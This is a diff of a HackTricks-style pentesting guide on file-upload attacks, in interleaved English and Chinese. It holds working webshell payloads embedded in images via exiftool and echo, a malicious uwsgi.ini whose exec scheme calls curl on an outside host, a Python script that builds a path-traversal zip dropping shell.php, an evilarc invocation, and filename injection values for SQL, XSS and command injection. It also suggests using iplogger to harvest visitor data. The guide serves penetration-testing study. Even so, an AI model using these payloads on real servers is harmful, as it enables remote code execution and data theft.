Due to the default setting of `session.upload_progress.prefix`, our **SESSION file will start with a annoying prefix** `upload_progress_` Such as: `upload_progress_controlledcontentbyattacker`
由于 `session.upload_progress.prefix` 的默认设置,我们的 **SESSION 文件将以一个烦人的前缀** `upload_progress_` 开头,例如:`upload_progress_controlledcontentbyattacker`
The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part).
**去除初始前缀** 的技巧是 **将有效载荷进行 3 次 base64 编码**,然后通过 `convert.base64-decode` 过滤器解码,这是因为在 **base64 解码时 PHP 会去除奇怪的字符**,因此经过 3 次后 **仅****保留** 攻击者 **发送的有效载荷**(然后攻击者可以控制初始部分)。
More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
更多信息请参见原始写作 [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) 和最终利用 [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
另一个写作在 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# File Upload
# 文件上传
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**_需要流利的波兰语书写和口语能力_
{% embed url="https://www.stmcyber.com/careers" %}
## File Upload General Methodology
## 文件上传一般方法论
Other useful extensions:
其他有用的扩展名:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **在PHPv8中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -21,101 +21,100 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### 绕过文件扩展名检查
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
- _file.png.php_
- _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
- _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
1. 如果适用,**检查** **之前的扩展名**。也可以使用一些**大写字母**进行测试:_pHp, .pHP5, .PhAr ..._
2. _检查**在执行扩展名之前添加有效扩展名**(也使用之前的扩展名):_
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。你可以使用Burp来**暴力破解**所有的**ascii**和**Unicode**字符。 _注意你也可以尝试使用**之前**提到的**扩展名**_
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 为之前的检查添加**另一层扩展名**
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试将**exec扩展名放在有效扩展名之前**并祈祷服务器配置错误。有助于利用Apache配置错误其中任何带有扩展名**_**.php**_**的内容,但不一定以.php结尾**将执行代码):
- _例如file.php.png_
7. 在**Windows**中使用**NTFS备用数据流ADS**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此在此模式后添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)
8. 尝试打破文件名限制。有效扩展名被截断恶意PHP被保留。AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
```
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少个字符。假设236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### 绕过内容类型、魔术数字、压缩和调整大小
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- 通过将**Content-Type** **header**的**值**设置为_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
1. Content-Type **字典**[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加**真实图像的字节**混淆_file_命令来绕过**魔术数字**检查。或者在**元数据**中引入shell\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\`或者你也可以**直接在图像中引入有效载荷**\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果**压缩被添加到你的图像**例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**例如使用PHP-GD函数`imagecopyresized``imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术使用PHP-GD函数`thumbnailImage`。然而,你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### 其他检查技巧
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
- 找到一个**本地文件包含**漏洞以执行后门。
- **可能的信息泄露**
1. **多次**(并且在**同一时间**)上传**同一文件**,使用**相同的名称**
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
3. 上传一个文件,其名称为**“.”、 “..”或“…”**。例如在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不容易被删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows
5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`Windows
6. 在**Windows**中上传一个文件,使用**保留****禁止****名称**例如CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8和LPT9。
- 还可以尝试**上传一个可执行文件**.exe或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
### Special extension tricks
### 特殊扩展名技巧
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
如果你尝试将文件上传到**PHP服务器** [查看**.htaccess**技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)\
如果你尝试将文件上传到**ASP服务器** [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
`.phar`文件类似于Java的`.jar`但用于PHP可以**像PHP文件一样使用**通过PHP执行或在脚本中包含它...
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
`.inc`扩展名有时用于仅用于**导入文件**的PHP文件因此在某些时候可能有人允许**此扩展名被执行**。
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
如果你可以将XML文件上传到Jetty服务器你可以获得[RCE因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。**因此如下图所示将XML文件上传到`$JETTY_BASE/webapps/`并期待shell
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
如果能够修改`.ini`配置文件则可以在uWSGI服务器中利用远程命令执行RCE漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是`@`操作符,作为`@(filename)`使用旨在包含文件的内容。在uWSGI支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
考虑以下有害的`uwsgi.ini`文件示例,展示各种方案:
```ini
[uwsgi]
; read from a symbol
@ -133,16 +132,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
有效负载的执行发生在配置文件解析期间。为了激活和解析配置uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用了自动重载功能,在检测到更改时,会在指定的时间间隔内重新加载文件。
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF进一步扩大潜在利用的范围。
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
## **wget 文件上传/SSRF 技巧**
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
**linux** 中 **文件名****最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget`**重命名** 文件为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -165,163 +162,154 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**因此初始URL将绕过检查然后wget将下载重定向的文件并使用新名称。这**不会工作****除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面并使用原始URL中指示的文件名称**。
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## 工具
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程确保对Web应用程序进行全面评估。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
## 从文件上传到其他漏洞
## From File upload to other vulnerabilities
- 将**filename**设置为`../../../tmp/lol.png`并尝试实现**路径遍历**
- 将**filename**设置为`sleep(10)-- -.jpg`,您可能能够实现**SQL注入**
- 将**filename**设置为`<svg onload=alert(document.domain)>`以实现XSS
- 将**filename**设置为`; sleep 10;`以测试一些命令注入(更多[命令注入技巧在这里](../command-injection.md)
- [**XSS**在图像svg文件上传中](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS**文件**上传** + **XSS** = [**服务工作者**利用](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE在svg上传中**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果您可以**指示Web服务器从URL捕获图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 特别制作的PDF以实现XSS[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF您可以准备一些将执行任意JS的PDF遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
- 检查上传文件是否有任何**大小限制**
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
以下是您可以通过上传实现的前10个事项来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**Webshell / RCE
2. **SVG**存储的XSS / SSRF / XXE
3. **GIF**存储的XSS / SSRF
4. **CSV**CSV注入
5. **XML**XXE
6. **AVI**LFI / SSRF
7. **HTML / JS**HTML注入 / XSS / 开放重定向
8. **PNG / JPEG**像素洪水攻击DoS
9. **ZIP**通过LFI / DoS的RCE
10. **PDF / PPTX**SSRF / BLIND XXE
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Burp扩展
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Magic Header Bytes
## 魔法头字节
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
- **PNG**`"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**`"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
请参阅[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)以获取其他文件类型。
### Zip/Tar File Automatically decompressed Upload
### Zip/Tar文件自动解压上传
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
如果您可以上传一个将在服务器内部解压的ZIP您可以做两件事
#### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
#### 符号链接
上传一个包含软链接到其他文件的链接,然后,访问解压的文件时,您将访问链接的文件:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 在不同文件夹中解压
### Decompress in different folders
The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
在解压过程中意外创建文件在目录中是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制通过操纵目标应用程序的解压功能逃离安全上传目录。
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
Below is an example of Python code used to create a malicious zip file:
下面是用于创建恶意 zip 文件的 Python 代码示例:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
f = BytesIO()
